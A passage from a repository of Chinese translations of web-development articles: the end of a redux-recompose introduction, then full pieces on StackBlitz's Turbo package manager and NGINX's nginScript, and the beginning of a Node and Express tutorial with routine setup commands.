SoccerService.getPitches, () => clubId) }; export default actionCreators; ``` 思路和刚开始是一样的:加载数据时先将 loading 标志置为 `true` ,然后根据后端的响应结果,选择分发 __SUCCESS__ 还是 __FAILURE__ 的 action。使用这种方法,我们抽取出了大量的重复逻辑,也不用再创建 `privateActionsCreators` 对象了。 但是,如果我们想要在调用和分发过程中间执行一些自定义代码呢? 我们可以使用 __注入器(injections)__ 来实现,在下面的例子中我们就用这个函数为 baseThunkAction 添加了一些自定义行为。 这两个例子要传达的思想是一样的: ```javascript const actionCreators = { fetchSomething: () => async dispatch => { dispatch({ type: actions.FETCH }); const response = Service.fetch(); if (response.ok) { dispatch({ type: actions.FETCH_SUCCESS, payload: response.data }); dispatch(navigationActions.push('/successRoute'); } else { dispatch({ type: actions.FETCH_ERROR, payload: response.error }); if (response.status === 404) { dispatch(navigationActions.push('/failureRoute'); } } } } ``` ```javascript const actionCreators = { fetchSomething: () => composeInjections( baseThunkAction(actions.FETCH, 'fetchTarget', Service.fetch), withPostSuccess(dispatch => dispatch(navigationActions.push('/successRoute'))), withStatusHandling({ 404: dispatch => dispatch(navigationActions.push('/failureRoute')) }) ) } ``` * * * 以上是对这个库的一些简介,详情请参考 [https://github.com/Wolox/redux-recompose](https://github.com/Wolox/redux-recompose)。 安装姿势: ``` npm install --save redux-recompose ``` 感谢 [Andrew Clark](https://github.com/acdlite),他创建的 [recompose](https://github.com/acdlite/recompose) 给了我很多灵感。同时也感谢 redux 的创始人 [Dan Abramov](https://github.com/gaearon),他的话给了我很多启发。 当然,也不能忘了同在 Wolox 里的战友们,是大家一起合力才完成了这个项目。 欢迎各位积极提出意见,如果在使用中发现任何 bug,一定要记得在 GitHub 上给我们反馈,或者提交你的修复补丁,总之,我希望大家都能积极参与到这个项目中来! 在以后的文章中,我们将会讨论更多有关 effects、注入器(injectors)和 completers 的话题,同时还会教你如何将其集成到 [apisauce](https://github.com/infinitered/apisauce) 或 [seamless-immutable](https://github.com/rtfeldman/seamless-immutable) 中使用。 希望你能继续关注! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/introducing-turbo-5x-faster-than-yarn-npm-and-runs-natively-in-browser.md ================================================ > * 原文地址:[Introducing Turbo: 5x faster than Yarn & NPM, and runs natively in-browser 🔥](https://medium.com/@ericsimons/introducing-turbo-5x-faster-than-yarn-npm-and-runs-natively-in-browser-cc2c39715403) > * 原文作者:[Eric Simons](https://medium.com/@ericsimons?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/introducing-turbo-5x-faster-than-yarn-npm-and-runs-natively-in-browser.md](https://github.com/xitu/gold-miner/blob/master/TODO/introducing-turbo-5x-faster-than-yarn-npm-and-runs-natively-in-browser.md) > * 译者:[Cherry](https://github.com/sunshine940326) > * 校对者:[萌萌](https://github.com/yanyixin)、[noahziheng](https://github.com/noahziheng) # 介绍 Turbo:比 Yarn 和 NPM 快 5 倍,可以在本地浏览器中运行🔥 ![](https://cdn-images-1.medium.com/max/800/1*ZM5-cr-PRyZxEV7gegcU_g.png) **注意** :这是我在 12 月6 日在谷歌山景学校演讲的一部分,[**欢迎加入!**](https://www.meetup.com/modernweb/events/244544544/) 在经过四个月的努力,我很兴奋的宣布 **Turbo** 诞生了!🎉 Turbo 是一个速度极快的 NPM 客户端,最初是为了 [StackBlitz](https://stackblitz.com) 创建的: - **安装包的速度最少是 Yarn 和 NPM 的五倍 🔥** - **将 **`node_modules`** 的大小减少到两个数量级😮** - **用于生产级可靠性的多层冗余** 💪 - **完全在 Web 浏览器中工作,能够拥有闪电般的开发环境 ⚡️** ![在 StackBlitz.com 中使用 Turbo 安装 NPM 包的实际速度](https://cdn-images-1.medium.com/max/800/1*flSBzkA6MwhaGdXnHE9B1g.gif) Actual installation speed of NPM packages using Turbo on [StackBlitz.com](https://stackblitz.com/) 在 [StackBlitz.com](https://stackblitz.com/) 中使用 Turbo 安装 NPM 包的实际速度 ### 为什么呢? 当我们刚开始开发 [StackBlitz](https://medium.com/@ericsimons/stackblitz-online-vs-code-ide-for-angular-react-7d09348497f4) 的时候,我们的目标就是创建一个在线的 IDE,这个 IDE 可以让你感觉和超级跑车的轮子一样快:你只需要接受瞬间响应命令的喜悦即可。 和 Turbo 不同的是,NPM 和 Yarn 是本地的。因为设计 NPM 和 Yarn 就是用来处理大量依赖后台代码库,需要本地二进制或和其他资源。他们的安装速度和超级跑车的速度比就是卡车的速度。但前端代码很少有这种大规模的依赖,难道有什么问题吗?当然,这些依赖仍然会作为 devDependencies 和 sub-dependencies 进入安装流程,并且依旧被下载和引用。将形成那个臭名昭著的黑洞:`node_modules`。 ![Dank, relevant meme](https://cdn-images-1.medium.com/max/600/1*liNzl2MQKqg4tLMCF4jY5g.png) 为什么 NPM 不在本地的浏览器中工作,这是问题的关键。在 `node_modules` 文件夹中解析、下载、提取百兆字节(或千兆字节)的典型前端项目是一个挑战,在浏览器中并不适合这样做。此外,这也证明了为什么这个问题的服务器端解决方法是 [慢、不可靠、并且成本较高的](https://github.com/unpkg/unpkg/issues/35#issuecomment-317128917)。 > 所以,如果 NPM 本身不能在浏览器端运行,那我们从底层建一个新的 NPM 客户端会怎么样呢? ### 解决方案:一个专门为 Web 构建的更聪明、更快的包管理器📦 Turbo 的速度和效率大部分是通过利用与现代前端应用程序相同的技术来完成的,他们使用了 snappy performance—tree-shaking、懒加载和启用了 gzip 压缩的普通 XHR/fetch 请求。 #### **按需检索文件** 🚀 Turbo 很巧妙的只检索 main、typings、和其他相关文件需要的文件而不是下载整个压缩包。无论是个人项目还是大型项目,这都减轻了惊人的负载。 ![ RxJS 和 RealWorld Angular 总有效载荷大小的比较](https://cdn-images-1.medium.com/max/800/1*zl-KV3eL7lSnAI45Hb_Rcw.png) [RxJS](http://npmjs.com/package/rxjs) 和 [RealWorld Angular](https://github.com/gothinkster/angular-realworld-example-app) 总有效载荷大小的比较 那么如果你的重要文件并没有被主文件引用会怎么样呢?例如一个 [Sass 文件 ](https://stackblitz.com/edit/angular-material?file=theme.scss),不用担心,Turb 按需进行懒加载并且一直保存以便将来使用,这个和微软新推出的 [GVFS Git protocol](https://blogs.msdn.microsoft.com/devops/2017/02/03/announcing-gvfs-git-virtual-file-system/) 工作原理有些类似。 #### 具有多种故障转移策略的健壮缓存 🏋️ 我们最近推出了一个具有 Turbo 特征的 CDN,所有的 NPM 包都在一个使用 gzip 打包的 JSON 请求中,大大提高了包安装的速度。这个概念类似于 npm 的 tarball,它合并了所有的文件并且压缩他们。然而,Turbo 的缓存智能的只包含你项目需要的文件并压缩他们。 每一个 Turbo 的客户端都是在浏览器中独立运行的,并且如果你引用的包文件在我们的缓存中,那么会直接从 [jsDelivr 提供的大量的 CDN 资源](https://www.jsdelivr.com/) 中自动按需下载。如果 jsDelivr 访问不了了怎么办?不要担心,会自动替换成 [Unpkg CDN](https://unpkg.com),提供三层超可靠的独立的包安装工具👌。 #### 快如闪电的依赖解决方案 ⚡️ 为了确保最小的有效负载大小,Turbo 使用一个定制的解析算法,在可能的情况下积极解决通用包版本。这也是出奇的快和冗余:无服务版本的解析器有权使用 NPM 在内存中的整个数据集并且**在 85ms 内**解析任何 package.json 文件。Turbo 在连接无服务器版本的解析器时有任何的问题,即便失败的时候也可以优雅的在浏览器中完整运行并且保留所有用于解决问题所必需的元数据。 在客户端完成依赖管理也会带来一些新的令人兴奋的可能性,比如只需单击一次就可以安装缺少的对等依赖关系 😮: ![](https://cdn-images-1.medium.com/max/800/1*BTe1Q-cZda_1dB3H0wROzQ.gif) 因为没有人读这些 NPM 在控制台输出的警告 😜 #### Turbo可以大规模使用的证据 📈 Turbo 目前能够可靠地处理每个月百万级别的请求数,并且开销可以忽略不计。我们很兴奋的宣布:Google 的 Angular 团队最近选择 StackBlitz 来支持他们文档中的实例,而有数以百万计的开发人员在使用他们的文档。 ### 技术预览 🙌 Turbo 是依赖于 [StackBlitz.com](https://stackblitz.com) 的,并且通过技术预览阶段我们将会运行大量的测试和测速,检验效能和可靠性的改进,你的每一个反馈都是至关重要的,所以在使用中遇到问题,不假思索的向我们 [提 issues](https://github.com/stackblitz/core/issues) 和在我们的 [Discord 社区](http://discord.gg/stackblitz)里和我们沟通🍻 然而 Turbo 最初是为生产级的使用而设计的,但在现实的 IDE([stackblitz](https://stackblitz.com))中,Turbo 已经找到了少数的在线应用场所,在社区,人们已经开始设计一种方法,使用 Turbo 使脚本类型与模块相等(很酷有没有!!!),我们迫不及待地想看到人们提出的其他惊人的东西,所以,一旦我们的 API 更加完善,我们会将其在[**我们的 Github**](https://github.com/stackblitz/core) 中完全开源(和 StackBlitz 的其他部分一起)以供全世界人们使用 🤘。 最后,我们非常感谢 Google 的 Angular 团队在我们的技术下的赌注,同时感谢 Google Cloud 团队将他们令人惊叹的服务赞助给 Turbo 使用!❤️ #### 一如既往,请随时通过 Tweet 联系我 有任何的疑问、反馈、想法等等都可以通过 [@ericsimons40](https://twitter.com/ericsimons40) 或者 @[stackblitz](https://twitter.com/stackblitz) 联系我 :) 另外,如果你有兴趣支持我们的工作,请考虑订阅 [Thinkster Pro](https://thinkster.io/pro)!我们正在创建一个新系列关于我们是如何创建 Turbo 和 StackBlitz 的,以及修改我们的目录:) 我希望你们能看下我 12 月 6 日在 [Mountain View 的视频](https://www.meetup.com/modernweb/events/244544544/)。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/introduction-nginscript.md ================================================ > * 原文地址:[Introduction to nginScript](https://www.nginx.com/blog/introduction-nginscript/) > * 原文作者:[Liam Crilly](https://www.nginx.com/blog/author/liam-crilly/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者: [1992chenlu](https://github.com/1992chenlu) > * 校对者:[mnikn](https://github.com/mnikn)、[imink](https://github.com/imink) # nginScript 入门 ![](https://cdn.wp.nginx.com/wp-content/uploads/2017/03/introduction-to-nginScript-1000x600.jpg) ### **在 HTTP 请求中发挥出 JavaScript 的强大力量和便捷优势** **编者的话 – 这是关于 nignScript 这个系列的博文的第一篇。本文中讨论了 NGINX 公司选择自己实现 JavaScript 的原因,并且提供了一个简单的使用案例。探索更多的使用案例,请阅读其他的博文:** - [**nginScript 入门**](https://www.nginx.com/blog/introduction-nginscript/) - [**使用 nginScript 逐步迁移客户端到新的服务器**](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/) - 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的 [**nginScript 日志记录进阶**](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera) - [**使用 nginScript 实现基于数据遮蔽的用户隐私保护**](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/) 自从 nginScript [2015 年 9 月](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&utm_medium=blog&utm_campaign=Core+Product)上线以来,作为一个实验性的模块,持续有新功能和语言的核心支持被加入。随着 NGINX Plus R12 的推出,我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。 nignScript 是一个只适用于 NGINX 和 NGINX Plus 的 JavaScript 实现,它是专为服务端用例和每次请求处理而设计的。它通过 JavaScript 代码扩展了 NGINX 的配置语法,为复杂配置提供了解决方案。 nignScript 可供 HTTP 和 TCP/UDP 两种协议使用,用例的种类广泛,例如: - 根据正常情况下 NGINX 变量无法使用的数值,生成自定义的日志格式 - 实现新的负载均衡算法 - 为应用层粘滞会话(sticky sessons)解析 TCP/UDP 协议 当然,nignScript 可以做更多,也有更多可能性有待实现。虽然我们已经宣布 nignScript 能被广泛地应用,并且已经推荐在生产环境使用 nignScript,但我们还有一些在计划中的改良,用来支持更多的用例: - 查看并修改 HTTP 请求/响应的 body(现已支持 TCP/UDP) - 在 nginScript 代码中发出 HTTP 子请求(subrequests) - 给 HTTP 请求写 authentication handlers(现已支持 TCP/UDP) - 文件读写 在深入讨论 nginScript 之前,我们先澄清一下两个普遍存在的误解。 ## nginScript 不是 Lua 多年来,NIGINX 社区创建了一些程序化扩展。目前,Lua 是其中最流行的;使用时,它是一个[ NGINX 模块](https://github.com/openresty/lua-nginx-module),对于 NGINX Plus 来说,它是一个[经认证的第三方模块](https://www.nginx.com/products/technical-specs/?utm_source=introduction-nginscript&utm_medium=blog&utm_campaign=Core+Product)。Lua 模块及其插件库提供了与 NGINX 内核的深度整合和一系列丰富的功能,包括一个 Redis 的驱动程序。 Lua 是一个强大的脚本语言。但是,就采用率来看,它仍是有一定缺陷的。并且,它也不算一个前端工程师或者开发运维工程师必备技能。 nginScript 没有企图取代 Lua,并且 nginScript 还有很长的路要走才能与 Lua 相提并论。nignScript 的目标是给广大 NIGINX 社区的人民群众,提供一个可以基于一种流行的编程语言的、程序化配置的解决方案。 ## nginScript 不是 Node.js nginScript 的目标并不是将 NGINX 或者 NGINX Plus 变成一个应用服务器。简言之,nginScript 的功能相当于中间件,因为脚本的执行是发生于客户端与内容之间的。技术上讲,Node.js 与 nginScript 和 NGINX(或 NGINX Plus)的结合体有两个共同点,那就是[事件驱动的架构](https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale/?utm_source=introduction-nginscript&utm_medium=blog&utm_campaign=Core+Product),以及,都将 JavaScript 作为编程语言,仅此而已。 Node.js 使用 Google V8 JavaScript 引擎,而 nginScript 则完全是 ECMAScript 标准的实现,专为 NGINX 和 NGINX Plus 设计。Node.js 内置 JavaScript 虚拟机,用来执行垃圾回收和内存管理的操作,而 nginScript 则会对每一个请求都初始化一个 JavaScript 虚拟机和相应的内存空间,并在请求被完成后释放内存空间。 ## 作为服务端语言的 JavaScript 如上所述,nginScript 是 JavaScript 语言的标准实现。而目前,所有其他的 JavaScript 运行引擎,都是以运行在网络浏览器为目的而设计的。客户端代码运行与服务端的代码运行有许多本质上的不同 —— 从系统资源的可利用性,到可能存在的并发运行的数量。 我们决定实现自己的 JavaScript runtime,一方面来满足服务端运行的需要,另一方面这种方式可以与 NGINX 请求处理的架构进行优雅适配。以下是我们的设计原则: - **运行环境与请求有相同的生命周期** nginScript 使用单线程的字节码执行,这么设计是为了快速的初始化和垃圾清理。对每个请求,都有对应的运行环境被初始化。初始启动是很迅速的,因为初始化没有用到复杂的状态或者帮助类。内存池的消耗在运行的期间逐渐累积,在运行完成的时候被释放。这种内存管理的设计无需为单个对象跟踪和释放内存,或使用垃圾收集器。 - **非阻塞式代码执行** NGINX 和 NGINX Plus 的事件驱动模式会调度每个 nginScript 运行环境的运行。当一个 nginScript 规则执行一个阻塞操作时(比如读取网络数据,或者发起外部的子请求),NGINX 和 NGINX Plus 会将那个 JavaScript 虚拟机挂起,并在那个操作结束时,重新安排它的运行。这意味着,你可以将规则写的简单、线性,而 NGINX 和 NGINX Plus 在调度它们的时候也不会被阻塞。 - **按照我们的需要实现语言** JavaScript 的规范是按 [ECMAScript](https://en.wikipedia.org/wiki/ECMAScript) 标准定义的。nginScript 使用 [ECMAScript 5.1](http://www.ecma-international.org/ecma-262/5.1/),和一部分 [ECMAScript 6](http://www.ecma-international.org/ecma-262/6.0/) 以实现数学相关的功能。实现自己的 JavaScript runtime 让我们能够更自由的调整服务端用例的语言支持的优先级,并忽视掉我们不需要的部分。我们有一个[已经提供支持和尚未提供支持的语言要素的列表](http://nginx.org/en/docs/njs_about.html)。 - **与请求处理阶段的紧密结合** NGINX 和 NGINX Plus 的请求处理分为不同的阶段。配置指令通常在一个特定的阶段被执行,原生的 NGINX 模块通常会在某个特定阶段,查看或者修改一个请求。nginScript 会将一些处理阶段暴露出去,通过配置指令,将控制权交给运行时的 JavaScript 代码。这种整合配置规则的方式,同时保证了原生 NGINX 模块的功能性和灵活性,并让其 JavaScript 实现代码变得简单。 下面的表格指出了目前可被 nginScript 利用的处理阶段,还有相应的配置指令。 |处理阶段|HTTP 模块|流 (TCP/UDP) 模块| |------|-------|-------| |访问 – 网络连接访问控制|❌|✅ [js_access](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_access)| |预读(Pre-read) – 读/写 body|❌|✅ [js_preread](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_preread)| |过滤器 – 在代理中读/写 body|❌|✅ [js_filter](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_filter)| |内容 – 向客户端发送响应|✅ [js_content](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_content)|❌| |日志/变量 – 应需评估|✅ [js_set](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set)|✅ [js_set](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_set)| ## nginScript 入门 —— 一个真实的例子 nginScript 可以作为一个模块,可以被编译到一个开源的 NGINX 二进制文件里,或者动态地载入 NGINX 或 NGINX Plus。本文的结尾处,有在 NGINX 和 NGINX Plus 中[开始使用 nginScript ](#nginscript-enable)的说明。 在这个例子中,我们使用 NGINX 或 NGINX Plus 作为简单的反向代理,并使用 nginScript 以一种特定的格式构建访问日志记录。 - 包括客户端发来的请求文件头(request headers) - 包括后端返回的响应文件头(response headers) - 使用键值对,以便让日志文件处理工具(例如现在被称作 Elastic Stack 的 ELK Stack)高效的搜索和摄入日志记录 这个例子的 NGINX 配置十分简单: ``` Failed loading gist https://gist.github.com/49e2f6f6b0a36ed9846dd63cddbd742a.json: timeout ``` 如你所见,nginScript 代码与配置规则并不一样。我们用[`js_include`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_include) 指令来指定包含我们所有的 JavaScript 代码的文件。[`js_set`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set) 指令定义了一个新的 NGINX 变量`$access_log_with_headers`,还有填充这个变量所需的 JavaScript 函数。[`log_format`](http://nginx.org/en/docs/http/ngx_http_log_module.html#log_format)指令定义了一种名为 **键值对(kvpairs)** 的新格式,它使用`$access_log_with_headers`变量的值输出每一行日志。 [`server`](http://nginx.org/en/docs/http/ngx_http_core_module.html#server)指令定义了一个简单的 HTTP 反向代理,这个反向代理可以将所有的请求转发给一个新地址,例如 **http://www.example.com** 。[`access_log`](http://nginx.org/en/docs/http/ngx_http_log_module.html#access_log)指令可以用来指定所有以 **键值对(kvpairs)** 格式被录入日志的请求。 我们现在来看一下用来准备每一行日志格式的 JavaScript 代码。我们有两个函数: - `kvHeaders` - 一个将`headers`对象转换为键值对的帮助函数。所有的帮助函数,必须在调用他们的函数前面被声明。 - `kvAccessLog` - 这个函数定义了 NGINX 配置中的 `js_set` 指令。它接收两个对象[参数(arguments)](http://nginx.org/en/docs/http/ngx_http_js_module.html#arguments),它们分别代表了客户端请求(`req`),与后端服务器的响应(`res`)。像它们这样的内置对象,也可以被传递到所有 HTTP 的 nginScript 函数中。 正如在`kvAccessLog`函数中看到的那样,返回值才会被传递到[`js_set`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set)配置指令。要记住, NGINX 变量是应需评估的,这也就意味着被`js_set`定义的 JavaScript 函数只有在变量的值被需要的时候才会执行。在这个例子中,`$access_log_with_headers`被[`log_format`](http://nginx.org/en/docs/http/ngx_http_log_module.html#log_format)指令使用,因此`kvAccessLog()`是在输出日志的时候被执行的。而在[`map`](http://nginx.org/en/docs/http/ngx_http_map_module.html#map)指令或者[`rewrite`](http://nginx.org/en/docs/http/ngx_http_rewrite_module.html#rewrite)指令中被用到的变量,会在更早的处理阶段出发对应的 JavaScript 代码的执行。 我们通过传递一个请求通过我们的反向代理的方式,来观察这种增强版的 nginScript 日志记录解决方案,和它最终产生的日志文件记录。 ``` $ curl http://127.0.0.1/ $ tail --lines=1 /var/log/nginx/access_headers.log 2017-03-14T14:36:53+00:00 client=127.0.0.1 method=GET uri=/ status=200 req.Host=127.0.0.1 req.User-Agent=curl/7.47.0 req.Accept=*/* res.Cache-Control=max-age=604800 res.Etag=\x22359670651+ident\x22 res.Expires='Tue, 21 Mar 2017 14:36:53 GMT' res.Last-Modified='Fri, 09 Aug 2013 23:54:35 GMT' res.Vary=Accept-Encoding res.X-Cache=HIT ``` nginScript 的许多功能都来自它访问 NGINX 内部的能力。这个例子使用了一些[请求与响应对象的属性](http://nginx.org/en/docs/http/ngx_http_js_module.html#arguments)。nginScript 针对 TCP 和 UDP 的流模块使用了一个[session 对象和它的属性集](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#properties)。查看我们的博客可以得到更多 nginScript 解决方案的例子。 - HTTP - [使用 nginScript 逐步迁移客户端到新的服务器](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/?utm_source=introduction-nginscript&utm_medium=blog&utm_campaign=Core+Product) - 流(Stream) – [Galera 集群负载均衡过程中 SQL 方法的日志记录](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/?utm_source=introduction-nginscript&utm_medium=blog&utm_campaign=Core+Product#nginscript-logging-galera) 我们会很乐意了解你们想到的 nginScript 用例 - 请在评论里告诉我们。 --- ## 在 NGINX 和 NGINX Plus 中开始使用 nginScript - [给 NGINX Plus 装载 nginScript](#nginscript-nginx-plus-load) - [给开源 NGINX 装载 nginScript](#nginscript-oss-load) - [给开源 NGINX 编译动态 nginScript 模块](#nginscript-oss-compile) ### 给 NGINX Plus 装载 nginScript nginScript 是 NGINX Plus 订阅者可以免费使用的[动态模块](https://www.nginx.com/products/dynamic-modules/)(关于开源 NGINX,请参考下面[给开源 NGINX 装载 nginScript](#nginscript-oss-load)的部分。) 1. 从 NGINX Plus repository 获取并安装 nginScript 模块 - Ubuntu 和 Debian 系统使用下面的命令: ``` $ sudo apt‑get install nginx-plus-module-njs ``` - RedHat、CentOS 和 Oracle Linux 系统使用下面的命令: ``` $ sudo yum install nginx-plus-module-njs ``` 2. 我们可以在配置文件 **nginx.conf** 的顶级 context 下("main")加入一条配置指令[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module),用来给 HTTP 流量加载 nginScript 模块(注意不是在 http 或者 stream 的 context 下): ``` load_module modules/ngx_http_js_module.so; ``` 3. 重新加载 NGINX Plus,将 nginScript 模块载入到正在运行的实例中。 ``` $ sudo nginx -s reload ``` ### 给开源 NGINX 装载 nginScript 如果你的系统配置了官方的[开源 NGINX 预建包(pre‑built packages)](http://nginx.org/en/linux_packages.html#mainline),并且你安装的版本在 1.9.11 或以上,你可以直接将 nginScript 安装为平台的预建包(pre‑built packages)。 1. 安装预建包(pre‑built packages) - Ubuntu 和 Debian 系统使用下面的命令: ``` $ sudo apt-get install nginx-module-njs ``` - RedHat、CentOS 和 Oracle Linux 系统使用下面的命令: ``` $ sudo yum install nginx-module-njs ``` 2. 我们可以在配置文件 **nginx.conf** 的顶级 context 下("main")加入一条配置指令[`load_module`](http://nginx.org/en/docs/ngx_core_module.html#load_module),用来给 HTTP 流量加载 nginScript 模块(注意不是在 http 或者 stream 的 context 下): ``` load_module modules/ngx_http_js_module.so; ``` 3. 重新加载 NGINX Plus,将 nginScript 模块载入到正在运行的实例中。 $ sudo nginx -s reload ### 给开源 NGINX 编译动态 nginScript 模块 如果你更喜欢直接从源代码编译出一个 NGINX 模块: 1. 跟随 [这些操作说明](https://www.nginx.com/blog/compiling-dynamic-modules-nginx-plus/),使用[开源 repository ](http://hg.nginx.org/njs/)构建 nginScript 模块。 2. 将这个模块的二进制文件(**ngx_http_js_module.so**)拷贝到 NGINX 根目录(通常是 **/etc/nginx/modules**)下的 **modules** 子目录下。 3. 完成 [给开源 NGINX 装载 nginScript ](#nginscript-oss-load")的第二步和第三步。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/introduction-to-node-express.md ================================================ > * 原文地址:[Introduction to Node & Express](https://medium.com/javascript-scene/introduction-to-node-express-90c431f9e6fd#.xffyxajza) * 原文作者:[Eric Elliott](https://medium.com/@_ericelliott) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[王子建](https://github.com/Romeo0906) * 校对者:[Mark](https://github.com/marcmoore),[Shangbin Yang](https://github.com/rccoder) # Node & Express 入门指南 > 本系列文章为[跟 Eric Elliott 学 JavaScript](https://ericelliottjs.com/product/lifetime-access-pass/) 的会员提供了配套的视频和练习,会员可点击查看视频教程:[“Node & Express 入门指南”视频教程](https://ericelliottjs.com/premium-content/introduction-to-node-express/)。还不是会员?[马上注册](https://ericelliottjs.com/product/lifetime-access-pass/)。 * * * Node 是一个 JavaScript 环境,使用了与谷歌 Chrome 浏览器相同的 JavaScript 引擎。Node 具有非常强大的功能,无论对 web 服务器还是 web 服务器的平台 API 来说,它都是搭建服务端应用中间层的诱人之选。 非阻塞事件驱动的 I/O 模型给予 Node 非常强大的性能,轻而易举地就能打败阻塞 I/O 和分线程处理多用户并发的线程服务器环境,比如 PHP 和 Ruby on Rails。 我曾经将千万级用户的 app 产品从 PHP 和 Ruby on Rails 环境迁移至 Node 环境,并实现了响应处理时间和单服务器多用户并发状况处理 2-10 倍的性能提升。 **Node 的特征:** * 快!(默认为非阻塞 I/O) * 事件驱动 * 一流的网络性能 * 一流的流媒体接口 * 用于接入操作系统和文件系统等的强大的标准库 * 支持编译的二进制模块,以便用户可以用其他更为基础的语言(如 C++)实现 Node 的强大性能 * 深受许多大企业的信赖和支持,并用于运行关键任务应用(如:Adobe, Google, Microsoft, Netflix, PayPal, Uber, Walmart 等) * 易于上手 ### 安装 Node 入圈之前,要确保已经安装了 Node。Node 一般提供两个版本,长期支持版本(即 LTS 版本,稳定)和最新版本。如果用于生产项目,你应该使用长期支持版本,如果想使用最前沿的功能则应选择最新版本。 #### Windows 访问[Node 官网](https://nodejs.org/en/)并且点击绿色的安装按钮。 #### Mac 或者 Linux 在 Mac 或者 Linux 系统上,我最喜欢的方式是用 nvm 安装 Node。 你可以使用 install script 来安装或者升级 nvm,使用 curl: `curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.32.1/install.sh | bash` 或者 Wget: `wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.32.1/install.sh | bash` 安装好 nvm 后,你可以用它来安装各种版本的 Node。 ### Hello, World! 实例 Node & Express 非常简单,你可以仅用 12 行代码就能够实现一个基本的 web 服务器来实现 “Hello,world!” : ``` const express = require('express'); const app = express(); const port = process.env.PORT || 3000; app.get('/', (req, res) => { res.send('\n\nHello, world!\n\n'); }); app.listen(port, () => { console.log(`listening on port ${ port }`); }); ``` 在代码运行之前,你需要创建你的应用。从创建一个新的 git 仓库开始: ``` mkdir my-node-app && cd my-node-app git init ``` 你需要一个 `package.json` 文件来存储应用的配置信息,你可以用 Node 中自带的 `npm` 来创建: `npm init` 填写一些问题(应用名称、git 仓库等)之后你就可以准备部署应用了。接下来你需要安装 Express: `npm install --save express` 依赖安装完之后,你可以输入以下命令来运行你的应用: `node index.js` 用 `curl` 来测试: `curl localhost:3000` 或者在浏览器中访问 `localhost:3000`。 搞定了!你已经搭建了你的首个 Node 应用。 ### 环境变量 你可以使用环境变量来配置你的 Node 应用,这样就能很容易地因地制宜切换不同的配置,比如在开发者本地环境,测试环境以及生产环境下使用对应的配置。 你应该使用环境变量给应用注入应用密文,如 API 的 key,而不是在源代码控制中对其进行校验。一些开发环境使用 `.env` 文件来保存应用的配置信息,但是你可能对此充满了疑问,“我如何才能将 .env 文件中的设置加载到应用的环境变量中去呢?” 要想解决这个问题,不妨来试试 [dotenv](https://github.com/motdotla/dotenv) 的 Node 版本: `npm install --save dotenv` 然后在入口文件顶部添加: `require('dotenv').config();` 现在你能从 `.env` 文件中加载 `port` 的设置了,接下来在项目的根目录下新建一个名为 `.env` 的文件: `PORT=5150` 保存,重启应用,之后你会看到: `listening on port 5150` 如果你不想将 `.env` 文件提交到 Git,你需要将它添加到 `.gitignore` 